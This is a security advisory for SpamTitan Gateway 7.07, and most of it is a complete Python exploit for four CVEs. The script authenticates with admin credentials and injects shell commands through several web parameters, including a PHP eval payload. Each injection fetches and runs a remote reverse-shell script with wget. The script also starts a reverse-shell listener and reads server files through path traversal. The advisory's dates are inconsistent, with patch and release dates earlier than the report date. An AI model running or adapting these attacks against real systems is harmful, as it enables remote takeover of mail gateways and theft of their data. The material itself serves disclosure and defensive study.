# Exploit Title: SpamTitan 7.07 - Remote Code Execution (Authenticated)
# Date: 2020-09-18
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/
# Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway
# Version: 7.07
# Tested on: FreeBSD
# CVE : CVE-2020-11699, CVE-2020-11700, CVE-2020-11803, CVE-2020-11804

---[SPUK-2020-09/SpamTitan 7.07 Multiple Authenticated Remote Code
Execution]------------------------------

SECURITY ADVISORY:   SPUK-2020-09/SpamTitan 7.07 Multiple
Authenticated Remote Code Execution
Affected Software:   SpamTitan Gateway 7.07 (possibly earlier versions)
Vulnerability:       Multiple Authenticated Remote Code Execution
CVSSv3:              8.7
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
Severity:            High
Release Date:        2020-09-18
CVEs:                CVE-2020-11699, CVE-2020-11700, CVE-2020-11803,
CVE-2020-11804


I. Background
~~~~~~~~~~~~

From www.spamtitan.com:

"SpamTitan Gateway is a powerful Anti-Spam appliance that equips network
administrators with extensive tools to control mail flow and protect against
unwanted email and malware."


II. Description
~~~~~~~~~~~~~~

Multiple authenticated remote code execution (RCE) vulnerabilities were found
on the SpamTitan Gateway 7.07 and probably in pervious versions:

* CVE-2020-11699: Improper validation of the parameter fname on the page
certs-x.php would allow an attacker to execute remote code on the
target server. The user has to be authenticated before interacting with
this page.
* CVE-2020-11700: Improper sanitization of the parameter fname, used on the page
certs-x.php, would allow an attacker to retrieve the contents of
arbitrary files. The user has to be
authenticated before interacting with this page.
* CVE-2020-11803: Improper sanitization of the parameter jaction when
interacting with
the page mailqueue.php could lead to PHP code evaluation server-side,
because the user-provided input is passed directly to the php eval()
function. The user has to be authenticated on the web platform before
interacting with the page.
* CVE-2020-11804: Due to improper sanitization of the parameter qid,
used in the page
mailqueue.php, code injection can occur. The input for this
parameter is provided directly by an authenticated user via an HTTP GET
request.


III. PoC
~~~~~~~

Use python 3 and install the following modules before executing: requests.

If your IP is 192.168.1.5 and the target SpamTitan server is
spamtitan.example.com, call the PoC like this:
./multirce.py -t spamtitan.example.com -i 192.168.1.5 -m <EXPLOIT
NUMBER> -u <USER> -p <PASSWORD> -U http://192.168.1.5/rev.py

---------------------------------------------

#!/usr/bin/env python

# Author: Felipe Molina (@felmoltor)
# Date: 09/04/2020
# Python Version: 3.7
# Summary: This is PoC for multiple authenticated RCE and Arbitrary File Read
#          0days on SpamTitan 7.07 and previous versions.
# Product URL: https://www.spamtitan.com/
# Product Version: 7.07 and probably previous

import requests
from requests import Timeout
requests.packages.urllib3.disable_warnings()
import os
import threading
from optparse import OptionParser
import socket
import json
import re
from urllib.parse import urlparse
from time import sleep
from base64 import b64decode,b64encode

def myip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        # doesn't even have to be reachable
        s.connect(('10.255.255.255', 1))
        IP = s.getsockname()[0]
    except:
        IP = '127.0.0.1'
    finally:
        s.close()
    return IP

def shellServer(ip,port,quiet):
    servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servers.bind((ip, port))
    servers.listen(1)
    info("Waiting for incoming connection on %s:%s" % (ip,port))
    conn, addr = servers.accept()
    conn.settimeout(1)
    success("Hurray, we got a connection from %s" % addr[0])

    prompt =conn.recv(128)
    prompt=str(prompt.decode("utf-8")).strip()
    command = input(prompt)

    while True:
        try:
            c = "%s\n" % (command)
            if (len(c)>0):
                conn.sendall(c.encode("utf-8"))
                # Quit the console
                if command == 'exit':
                    info("\nClosing connection")
                    conn.close()
                    break
                else:
                    completeanswer=""
                    while True:
                        answer=None
                        try:
                            answer=str((conn.recv(1024)).decode("utf-8"))
                            completeanswer+=answer
                        except socket.timeout:
                            completeanswer.strip()
                            break
                    print(completeanswer,end='')
            command = input("")
        except (KeyboardInterrupt, EOFError):
            info("\nClosing connection")
            break

# This is an authenticated remote code execution in "certs-x.php". E.g:
def CVE_2020_11699(cookies, target, shellurl):
    # Giving time to the maim thread to open the reverse shell listener
    sleep(5)
    oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
/tmp/r.py" % (shellurl)
    t1 = "%s/certs.php" % target
    t2 = "%s/certs-x.php" % target
    # get the csrf token value
    res1 = requests.get(t1,cookies=cookies,verify=False)
    m = re.search("var csrf_token_postdata
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
    if (m is not None):
        csrfguard=m.group(1)
        csrftoken=m.group(2)
        data = {
            "CSRFName":csrfguard,
            "CSRFToken":csrftoken,
            "jaction":"deletecert",
            "fname":"dummy || $(%s)" % oscmd
        }
        info("Triggering the reverse shell in the target.")
        try:
            res2 = requests.post(t2,data=data,cookies=cookies,verify=False)
            print(res2.text)
        except Timeout:
            info("Request timed-out. You should have received already
your reverse shell.")
    else:
        fail("CSRF tokens were not found. POST will fail.")

# This is an arbitrary file read on "certs-x.php"
def CVE_2020_11700(cookies,target,file):
    fullpath="../../../..%s" % file

    t1 = "%s/certs.php" % target
    t2 = "%s/certs-x.php" % target
    # get the csrf token value
    res1 = requests.get(t1,cookies=cookies,verify=False)
    m = re.search("var csrf_token_postdata
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
    if (m is not None):
        csrfguard=m.group(1)
        csrftoken=m.group(2)
        data = {
            "CSRFName":csrfguard,
            "CSRFToken":csrftoken,
            "jaction":"downloadkey",
            "fname":fullpath,
            "commonname":"",
            "organization":"",
            "organizationunit":"",
            "city":"",
            "state":"",
            "country":"",
            "csrout":"",
            "pkout":"",
            "importcert":"",
            "importkey":"",
            "importchain":""
        }
        res2 = requests.post(t2,data=data,cookies=cookies,verify=False)
        if (res2.status_code == 200):
            success("Contents of the file %s" % file)
            print(res2.text)
    else:
        fail("Error obtaining the CSRF guard tokens from the page.")
        return False

# This is an authenticated RCE abusing PHP eval function in mailqueue.php
def CVE_2020_11803(cookies, target, shellurl):
    # Giving time to the maim thread to open the reverse shell listener
    sleep(5)
    oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
/tmp/r.py" % (shellurl)
    b64=(b64encode(oscmd.encode("utf-8"))).decode("utf-8")
    payload="gotopage+a+\";$b=\"%s\";shell_exec(base64_decode(urldecode($b)));die();$b=\""
% (b64)
    t1 = "%s/certs.php" % target
    t2 = "%s/mailqueue.php" % target
    # get the csrf token value
    res1 = requests.get(t1,cookies=cookies,verify=False)
    m = re.search("var csrf_token_postdata
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
    if (m is not None):
        csrfguard=m.group(1)
        csrftoken=m.group(2)
        data = {
            "CSRFName":csrfguard,
            "CSRFToken":csrftoken,
            "jaction":payload,
            "activepage":"incoming",
            "incoming_count":"0",
            "active_count":"0",
            "deferred_count":"0",
            "hold_count":"0",
            "corrupt_count":"0",
            "incoming_page":"1",
            "active_page":"1",
            "deferred_page":"1",
            "hold_page":"1",
            "corrupt_page":"1",
            "incomingrfilter":None,
            "incomingfilter":None,
            "incoming_option":"hold",
            "activerfilter":None,
            "activefilter":None,
            "active_option":"hold",
            "deferredrfilter":None,
            "deferredfilter":None,
            "deferred_option":"hold",
            "holdrfilter":None,
            "holdfilter":None,
            "hold_option":"release",
            "corruptrfilter":None,
            "corruptfilter":None,
            "corrupt_option":"delete"
        }
        # We have to pass a string instead of a dict if we don't want
the requests library to convert it to
        # an urlencoded data and break our payload
        datastr=""
        cont=0
        for k,v in data.items():
            datastr+="%s=%s" % (k,v)
            cont+=1
            if (cont<len(data)):
                datastr+="&"
        headers={
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; rv:68.0)
Gecko/20100101 Firefox/68.0",
            "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        try:
            res2 =
requests.post(t2,data=datastr,cookies=cookies,headers=headers,verify=False,proxies=proxies)
        except Timeout:
            info("Request timed-out. You should have received already
your reverse shell.")
    else:
        fail("CSRF tokens were not found. POST will fail.")

# This is an authenticated RCE abusing qid GET parameter in mailqueue.php
def CVE_2020_11804(cookies, target, shellurl):
    # Giving time to the maim thread to open the reverse shell listener
    sleep(5)
    oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
/tmp/r.py" % (shellurl)
    payload="1;`%s`" % oscmd
    t = "%s/mailqueue.php?qid=%s" % (target,payload)
    info("Triggering the reverse shell in the target.")
    try:
        res2 = requests.get(t,cookies=cookies,verify=False)
    except Timeout:
        info("Request timed-out. You should have received already your
reverse shell.")

# Authenticate to the web platform and get the cookies
def authenticate(target,user,password):
    loginurl="%s/login.php" % target
    data={
        "jaction":"none",
        "language":"en_US",
        "address":"%s" % user,
        "passwd":"%s" % password
    }
    res = requests.post(loginurl, data=data,allow_redirects =
False,verify=False)
    if (res.status_code == 302 and len(res.cookies.items())>0):
        return res.cookies
    else:
        return None

def printmsg(msg,quiet=False,msgtype="i"):
    if (not quiet):
        if (success):
            print("[%s] %s" % (msgtype,msg))
        else:
            print("[-] %s" % msg)

def info(msg,quiet=False):
    printmsg(msg,quiet,msgtype="i")

def success(msg,quiet=False):
    printmsg(msg,quiet,msgtype="+")

def fail(msg,quiet=False):
    printmsg(msg,quiet,msgtype="-")

def parseoptions():
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target",
                    help="Target SpamTitan URL to attack. E.g.:
https://spamtitan.com/", default=None)
    parser.add_option("-m", "--method", dest="method",
                    help="Exploit number: (1) CVE-2020-11699 [RCE],
(2) CVE-2020-XXXX [RCE], (3) CVE-2020-XXXX2 [RCE], (4) CVE-2020-11700
[File Read]", default=1)
    parser.add_option("-u", "--user", dest="user",
                    help="Username to authenticate with. Default:
admin", default="admin")
    parser.add_option("-p", "--password", dest="password",
                    help="Password to authenticate with. Default:
hiadmin", default="hiadmin")
    parser.add_option("-I", "--ip", dest="ip",
                    help="Local IP where to listen for the reverse
shell. Default: %s" % myip(), default=myip())
    parser.add_option("-P", "--port", dest="port",
                    help="Local Port where to listen for the reverse
shell. Default: 4242", default=4242)
    parser.add_option("-U", "--URL", dest="shellurl",
                    help="HTTP URL path where the reverse shell is
located. Default: http://%s/rev.py" % myip(),
default="http://%s/rev.py" % myip())
    parser.add_option("-f", "--filetoread", dest="filtetoread",
                    help="Full path of the file to read from the
remote server when executing CVE-2020-11700. Default: /etc/passwd",
default="/etc/passwd")
    parser.add_option("-q", "--quiet",
                    action="store_true", dest="quiet", default=False,
                    help="Shut up script! Just give me the shell.")

    return parser.parse_args()

def main():
    (options,arguments) = parseoptions()
    quiet = options.quiet
    target = options.target
    ip = options.ip
    port = options.port
    user = options.user
    password = options.password
    shellurl = options.shellurl
    method = int(options.method)
    rfile = options.filtetoread

    # Sanitize options
    if (target is None):
        fail("Error. Specify a target (-t).")
        exit(1)
    else:
        if (not target.startswith("http://") and not
target.startswith("https://")):
            target = "http://%s" % target

    if (method < 1 or method > 4):
        fail("Error. Specify a method from 1 to 4:\n (1)
CVE-2020-11699 [RCE]\n (2) CVE-2020-XXXX [RCE]\n (3) CVE-2020-XXXX2
[RCE]\n (4) CVE-2020-11700 [File Read]")
        exit(1)

    # Before doing anything, login
    cookies = authenticate(target,user,password)
    if (cookies is not None):
        success("User logged in successfully.")
        if (method == 1):
            info("Exploiting CVE-2020-11699 to get a reverse shell on
%s:%s" % (ip,port),quiet)
            rev_thread = threading.Thread(target=CVE_2020_11699,
args=(cookies,target,shellurl))
            rev_thread.start()
            # Open the reverse shell listener in this main thread
            info("Spawning a reverse shell listener. Wait for it...")
            shellServer(options.ip,int(options.port),options.quiet)
        elif (method == 2):
            info("Exploiting CVE-2020-11803 to get a reverse shell on
%s:%s" % (ip,port),quiet)
            rev_thread = threading.Thread(target=CVE_2020_11803,
args=(cookies,target,shellurl))
            rev_thread.start()
            # Open the reverse shell listener in this main thread
            info("Spawning a reverse shell listener. Wait for it...")
            shellServer(options.ip,int(options.port),options.quiet)
        elif (method == 3):
            info("Exploiting CVE-2020-11804 to get a reverse shell on
%s:%s" % (ip,port),quiet)
            rev_thread = threading.Thread(target=CVE_2020_11804,
args=(cookies,target,shellurl))
            rev_thread.start()
            # Open the reverse shell listener in this main thread
            info("Spawning a reverse shell listener. Wait for it...")
            shellServer(options.ip,int(options.port),options.quiet)
        elif (method == 4):
            info("Reading file '%s' by abusing CVE-2020-11700." % rfile, quiet)
            CVE_2020_11700(cookies,target,rfile)
    else:
        fail("Error authenticating. Are you providing valid credentials?")
        exit(2)

    exit(0)

main()

---------------------------------------------

III. Impact
~~~~~~~~~~

Loss of confidentiality, integrity and availability of several files in the
target server, as well as loss of availability of several services running
in the SpamTitan.
Confidentiality of critical system files, such as /etc/passwd or /etc/pwd.db
would be highly impacted.

IV. Disclosure
~~~~~~~~~~~~~

Reported By: Felipe Molina de la Torre
Vendor Informed:        2020-04-17
Patch Release Date:     2019-05-26
Advisory Release Date:  2019-09-18

V. References
~~~~~~~~~~~~
* https://sensepost.com/blog/2020/clash-of-the-spamtitan/
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11699
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11700
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11803
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11804

---------------------------------[SPUK-2020-09/SpamTitan 7.07 Multiple
Authenticated Remote Code Execution]---